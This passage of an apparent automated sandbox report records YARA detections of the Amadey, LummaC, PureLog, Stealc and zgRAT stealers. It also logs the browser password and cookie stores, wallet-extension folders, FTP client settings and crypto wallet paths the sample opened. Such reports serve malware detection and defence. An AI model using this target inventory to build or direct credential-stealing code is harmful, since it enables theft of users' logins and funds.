WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.skotes.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.skotes.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.YHOCXQOWEM64H1IK2TUEH.exe.20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 8WRONDszv4.exe PID: 2320, type: MEMORYSTR
Source: Yara match	File source: 12.2.2d537c36c0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.2d537c36c0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.455cf38.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3303991604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 99468ec718.exe PID: 4232, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.426b8f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.2d537c36c0.exe.426b8f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.2d537c36c0.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2512124183.0000000000921000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 62G762VR710L4VXE3U82EH4WFUFY.exe PID: 2976, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match

File source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 8WRONDszv4.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: 8WRONDszv4.exe, 00000000.00000003.2230278018.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyt
Source: 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 8WRONDszv4.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 8WRONDszv4.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2256604206.000000000164C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
